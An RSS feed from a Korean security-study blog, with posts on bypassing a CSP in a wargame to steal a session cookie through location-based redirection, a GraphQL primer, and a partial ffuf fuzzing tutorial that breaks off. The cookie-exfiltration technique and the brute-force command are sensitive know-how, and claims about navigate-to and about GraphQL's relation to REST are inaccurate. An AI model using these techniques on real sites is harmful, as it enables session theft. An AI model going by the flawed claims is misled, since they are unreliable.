<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>윤형주의 다락방</title>
    <link>https://yoongarret.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Fri, 26 Jun 2026 10:58:17 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>윤형주</managingEditor>
    <item>
      <title>웹 해킹 - default-src와 네비게이션</title>
      <link>https://yoongarret.tistory.com/196</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;CSP 관련 워게임을 풀다가 리마인드 하게된 내용이 있어 복습겸 다시 적어봅니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;CSP(Content Security Policy) - default-src&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSP(Content Security Policy)란 페이지에서 데이터를 로드하거나 동작이 수행될 때, 어떤 출처를 허용할지 선언하는 HTTP 헤더입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 중에서도 default-src 지시어에 대한 내용을 다뤄보겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSP에는 다양한 지시어가 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;script&amp;gt; 태그나 인라인 이벤트 핸들러, eval()를 담당하는 script-src&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;img&amp;gt; 태그와 CSS 이미지 쪽을 담당하는 img-src&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;style&amp;gt; 태그 등을 담당하는 style-src 등등 지시어가 있으며&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 중 default-src 지시어는 위와 같은 명시되지 않은 리소스 지시어의 기본값을 담당합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 명시하지 않은 리소스 지시어들의 값은 default-src 지시어의 값으로 통일되는 형식입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대부분의 지시어는 리소스 지시어에 포함되어있고 그렇기에 default-src를 명시하면 보통 적지 않은 대부분의 보안 설정이 되는 것 같은 느낌이 들지만.. 막히지 않은 부분이 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 navigate 계열입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;base-uri나 sandbox같은 문서나 기타 계열이 있지만 다루진 않겠습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt; default-src 'self'와 네비게이션&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;default-src 'self' 의 뜻은 다른 리소스 지시어들이 명시되지 않았을 때, 그 기본 값을 self로 한다는 뜻입니다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;또한 self의 경우 현재 페이지와 같은 출처만 허용한다는 뜻이고요.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;즉 프로토콜, 도메인, 포츠가 모두 현재 페이지와 같아야만 허용하게됩니다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;default-src는 fetch 계열 지시어들을 포함합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;fetch 계열이란 현재 문서는 그대로 있고, 외부에서 무언가를 가져오는 동작들을 뜻합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저가 현재 문서를 유지한 채로 백그라운드에서 HTTP요청을 보내고 받아오는 과정입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예로 fetch()함수나 &amp;lt;img&amp;gt;태그 처럼 문서에 무언가를 불러오는 동작을 뜻합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반대로 네비게이션 계열은 현재 문서 자체가 다른 URL로 이동하는 동작을 뜻합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저를 쓰면서 현재 창의 URL이 바뀌는 동작들이 네비게이션 동작입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;default-src의 경우 이 네비게이션 계열의 CSP를 포함하지 않기에 우회가 가능합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;문제에서의 활용&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;풀던 문제의 CSP 설정은 다음과 같았습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1780772904499&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    csp = f&quot;default-src 'self'; &quot; \
          f&quot;script-src 'self' 'nonce-{nonce}' 'unsafe-inline'; &quot; \
          f&quot;img-src 'self'; &quot; \
          f&quot;style-src 'self'; &quot; \
          f&quot;object-src 'none'; &quot; \
          f&quot;base-uri 'none';&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 풀이 과정에서 nonce를 획득하여 XSS가 가능했고, 이를 통해 쿠키로 세션값을 탈취하여 플래그를 구하는 과정이었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 XSS 페이로드에 fetch() 함수를 사용하여 외부로 쿠키를 받아오려했지만 실패하였고, location 객체를 활용했을 땐 성공하였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;fetch()함수의 경우 connect-src 지시어의 관할입니다.&lt;br /&gt;위 코드에서 connect-src는 명시되지 않았기에 default-src의 값으로 대신하고, 이 값이 self이므로 외부의 URL이 필터에 걸려 작동하지 않은 것입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이에 반해 location 객체는 네비게이션 지시어 관할입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드에서는 navigate-to 관련 지시어가 명시되지 않았기에 네비게이션 관련 필터가 없는 상태입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 때문에 location 객체를 통해 외부 페이지로 이동되는게 막히지 않았고, 이를 활용하여 세션 쿠키를 획득 할 수 있었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네비게이션 지시어를 설정하고자 한다면 navigate-to 지시어의 값을 조정하면됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들어 self로 지정할 경우 위에서 설명한 것 처럼 같은 출처의 네비게이션 이동만 허용하고, none의 경우 모든 네비게이션 이동을 막게됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같은 설정을 해두었다면 아마 location 객체 역시 동작하지 않았을 것입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제를 풀다보니 CSP에 대해서 잘 모르고 있던 사실을 알게되어 글을 적어보네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자주 보던 리소스 지시어를 복습하는 시간 겸, 익숙하지 않았던 네비게이션 지시어를 공부하는 문제였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패치와 네비게이션의 차이를 다시 한 번 되짚어보고 기초를 더 다지게 되는 시간이었네요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>보안/이론 정리</category>
      <author>윤형주</author>
      <guid isPermaLink="true">https://yoongarret.tistory.com/196</guid>
      <comments>https://yoongarret.tistory.com/196#entry196comment</comments>
      <pubDate>Sun, 7 Jun 2026 04:49:38 +0900</pubDate>
    </item>
    <item>
      <title>API - GraphQL</title>
      <link>https://yoongarret.tistory.com/195</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;GraphQL은 api 통신 방식 중 REST에서 주로 사용하는 방식입니다.&lt;br /&gt;버그바운티를 공부하면서 알게되었고, 정리하면서 기억하기 위해 요약해보겠습니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;GraphQL&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;REST API의 대안으로 만들어진 API 쿼리 언어 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;REST API의 경우 여러 정보를 받으려면 각각의 다른 URL에 요청을 보내어 서버가 정해놓은 구조 그대로 데이터를 여러번 받아와야합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 과정에서 불필요한 데이터도 같이 딸려오고요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GraphQL은 다르게 원하는 데이터만 하나의 엔드포인트에 직접 명시하여 요청합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요청 과정을 줄이고 원하는 데이터만 가져와 불필요한 요청도 확연히 줄어드는 특징이 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1772701823940&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;query {
  user(id: 1) {
    name
    email
    posts {
      title
      createdAt
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 하면 user의 name, email, 그리고 각 게시글의 title과 createdAt만 가져오게됩니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;GraphQL의 동작&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1. Query&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;query는 서버에서 데이터를 조회할 때 사용합니다.&lt;br /&gt;REST의 GET 요청 처럼 데이터를 가져오는 역할을 합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1772702318699&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;query {
  book(id: &quot;123&quot;) {
    title
    price
    author {
      name
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예로 이런 요청을 보낸다면, book에서 id가 123인 데이터의 title과 price, author의 name에 대한 데이터를 줘 라는 요청이 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 서버는 클라이언트가 요청한 데이터만 그대로 반환하게 됩니다.&lt;/p&gt;
&lt;pre id=&quot;code_1772702511051&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
  &quot;data&quot;: {
    &quot;book&quot;: {
      &quot;title&quot;: &quot;클린 코드&quot;,
      &quot;price&quot;: 33000,
      &quot;author&quot;: {
        &quot;name&quot;: &quot;로버트 C. 마틴&quot;
      }
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;book에 출판사나 출판일, 페이지 수 같은 다른 필드가 있었어도 클라이언트가 요청하지 않았기에 서버는 불필요한 데이터를 같이 보내지 않습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;2. Mutation - 데이터 변경&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뮤테이션은 데이터에 대한 수정, 삭제, 생성을 할 때 사용합니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;REST의 POST, PUT, PATCH, DELETE에 해당하는 역할입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1772703506875&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;mutation {
  createReview(input: { #서버의 정의된 createReview 라는 뮤테이션 호출 (함수 호출)
    bookId: &quot;123&quot;
    rating: 5
    comment: &quot;정말 유익한 책입니다&quot;
  }) { #리뷰를 생성한 다음, 아래의 데이터를 돌려줘 라는 요청
    id
    rating
    comment
    createdAt
    book {
      title
      averageRating
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 요청을 별점과 리뷰를 작성하는 요청입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보면 뮤테이션을 호출해서 별점과 리뷰를 작성하고, 응답으로 데이터를 받을 때 클라이언트가 원하는 데이터만 받는 형식입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;REST API 였다면 한 엔드포인트로 리뷰를 생성하고, 응답으로 리뷰 데이터를 받을 때 서버가 정해놓은 필드 전부가 돌아옵니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;후에 내가 작성한 별점이 반영된 새 별점 평균을 알려고자 한다면 엔드포인트에 다시 한번 요청하여 새 별점 평균을 받아와야합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이처럼 두 번의 요청과 불필요한 데이터를 응답받는 것을 GraphQL에서는 한 번의 요청과 필요한 데이터만을 응답받아 별도의 추가 요청이 필요없게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;3. Subscription - 실시간 데이터&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브스크립션은 서버에서 특정한 이벤트가 발생할 때 클라이언트에게 자동으로 데이터를 푸시하는 방식입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;재고의 변동이나 배송 현황 같은 기능들을 서비스 할 때 주로 사용합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1772704132514&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;subscription {
  bookStockChanged(bookId: &quot;123&quot;) { #bookStockChanged라는 서브스크립션에 대해 요청 (함수 요청)
    bookId
    title
    stock
    status
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같은 서브스크립션을 등록해두면, 누군가 책을 구매해서 재고가 변할 때 마다 저 데이터들을 서버가 자동으로 알려줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1772704248711&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 첫 번째 이벤트 (1권 구매)
{
  &quot;data&quot;: {
    &quot;bookStockChanged&quot;: {
      &quot;bookId&quot;: &quot;123&quot;,
      &quot;title&quot;: &quot;클린 코드&quot;,
      &quot;stock&quot;: 4,
      &quot;status&quot;: &quot;IN_STOCK&quot;
    }
  }
}

// 두 번째 이벤트 (마지막 구매, 재고 소진 알림)
{
  &quot;data&quot;: {
    &quot;bookStockChanged&quot;: {
      &quot;bookId&quot;: &quot;123&quot;,
      &quot;title&quot;: &quot;클린 코드&quot;,
      &quot;stock&quot;: 0,
      &quot;status&quot;: &quot;OUT_OF_STOCK&quot;
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 실시간 데이터와 상태를 받아야 할 때 서브스크립션이 사용됩니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;서버 측 스키마 정의&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같은 세가지 동작을 위해서는, 서버에 미리 이런 기능들을 정의해둬야합니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그걸 스키마 정의라고 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버가 클라이언트에게 이러이러한 기능들을 제공할께 라고 선언하는 부분입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 스키마가 존재함으로써 어떠한 기능들이 있는지 한 눈에 알아볼 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 타입을 미리 정의함으로써 타입 안정성 역시 보장되는 장점이 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에서 예시 든 동작들에 대해서 아래와 같이 선언하겠습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1772704665719&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;type Query {
  book(id: ID!): Book
  books(category: String, limit: Int): [Book]
  user(id: ID!): User
}

type Mutation {
  createReview(input: ReviewInput!): Review
  updateCartItem(itemId: ID!, quantity: Int!): CartItem
  deleteReview(id: ID!): DeleteResult
}

type Subscription {
  bookStockChanged(bookId: ID!): StockUpdate
  orderStatusUpdated(orderId: ID!): OrderStatus
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각각 쿼리 타입, 뮤테이션 타입, 서브스크립션 타입에 대한 정의입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿼리 타입부터 보겠습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1772705007969&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;type Query {
  book(id: ID!): Book
  books(category: String, limit: Int): [Book]
  user(id: ID!): User
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트가 조회할 수 있는 것들의 목록입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. book(id: ID!): Book&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;id를 필수로 받아서 Book 하나에 대한 데이터를 반환한다는 뜻입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 요청받는 값에 !가 붙어있다면 필수로 받아야하는 값이라는 뜻이고, 아니라면 선택적으로 받아야하는 값입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. books(category: String, limit: Int): [Book]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;category와 limit에 대해 선택적으로 값을 받고, Book의 배열을 반환한다는 뜻입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;카테고리나 리미트가 없으면 Book 전체를 돌려줄 것이고, 카테고리가 있다면 그 카테고리의 Book만, 리미트가 있다면 리미트 만큼만 돌려줄 것 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. user(id:&amp;nbsp;ID!):&amp;nbsp;User&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;id를 필수로 받아서 그 id에 맞는 유저를 반환한다는 뜻입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음은 뮤테이션 타입입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1772705205883&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;type Mutation {
  createReview(input: ReviewInput!): Review
  updateCartItem(itemId: ID!, quantity: Int!): CartItem
  deleteReview(id: ID!): DeleteResult
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이건 클라이언트가 변경할 수 있는 것들의 목록입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. createReview(input: ReviewInput!): Review&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리뷰 작성 기능입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ReviewInput의 경우 별도로 정의된 입력타입이고, Review의 경우 서버가 돌려주는 데이터의 형식으로 별도로 선언된것 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같다고 가정하겠습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1772705270037&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;input ReviewInput {
  bookId: ID!
  rating: Int!
  comment: String
}

type Review {
  id: ID!
  rating: Int!
  comment: String
  createdAt: String!
  book: Book!
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 클라이언트가 bookID와 별점인 rating, 댓글인 comment를 변경하고자 요청하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버는 id와 별점, 댓글과 작성된 시간, 그리고 그 책에 대한 정보를 반환해주는 형태입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. updateCartItem(itemId:&amp;nbsp;ID!,&amp;nbsp;quantity:&amp;nbsp;Int!):&amp;nbsp;CartItem&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;카트에 들어있는 아이템의 갯수를 변경하는 기능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바꾸고자 하는 아이템의 id와 갯수를 필수로 받고 카트의 아이템들의 상태를 돌려줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. deleteReview(id:&amp;nbsp;ID!):&amp;nbsp;DeleteResult&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;삭제할 리뷰에 대한 기능입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;삭제할 리뷰의 id를 필수로 받고, 삭제 후 응답을 돌려줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막으로 서브스크립션 타입입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1772705577522&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;type Subscription {
  bookStockChanged(bookId: ID!): StockUpdate
  orderStatusUpdated(orderId: ID!): OrderStatus
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트가 실시간으로 받을 수 있는 이벤트 목록입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. bookStockChanged(bookId:&amp;nbsp;ID!):&amp;nbsp;StockUpdate&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특정 책에 대한 제고를 보여주는 기능입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특정 책에 대한 id를 필수로 받고, 그 책의 재고가 변할 때 마다 업데이트를 받겠다는 의미입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. orderStatusUpdated(orderId:&amp;nbsp;ID!):&amp;nbsp;OrderStatus&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특정 주문의 상태가 바뀔 때 마다 업데이트 해주는 기능입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주문의 id를 필수로 받고 주문의 상태가 바뀌면 알림을 준다는 기능입니다.&lt;/p&gt;</description>
      <category>보안/이론 정리</category>
      <author>윤형주</author>
      <guid isPermaLink="true">https://yoongarret.tistory.com/195</guid>
      <comments>https://yoongarret.tistory.com/195#entry195comment</comments>
      <pubDate>Thu, 5 Mar 2026 19:15:57 +0900</pubDate>
    </item>
    <item>
      <title>웹 해킹 - ffuf 사용법</title>
      <link>https://yoongarret.tistory.com/194</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;ffuf (Fuzz Faster U Fool)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ffuf는 웹 퍼징 도구로 디렉토리나 파일 정찰, 파라미터 탐색 등 브루트 포싱을 이용한 정찰 도구입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;블랙박스 문제나 일부 버그바운티 과정에서 트래픽을 주의하며 사용할 수 있기에 정리해보았습니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;기본 구조&lt;/h4&gt;
&lt;pre id=&quot;code_1771759887284&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ffuf -u http://target.com/FUZZ -e .php,.txt,.html,.bak -w &amp;lt;워드리스트 경로&amp;gt;
# -u 옵션은 url 설정
# -e 옵션은 확장자를 추가&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FUZZ라는 키워드가 들어간 자리에 워드리스트의 단어가 하나씩 대입되어 부루트포싱하는 구조입니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;응답 필터링&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 특정 상태코드만 (Match)&lt;/p&gt;
&lt;pre id=&quot;code_1771761672502&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;-mc 200,301,302,403&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 특정 상태코드 제외 (Filter)&lt;/p&gt;
&lt;pre id=&quot;code_1771761696666&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;-fc 401,403,404&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 응답 크기 기반 필터&lt;/p&gt;
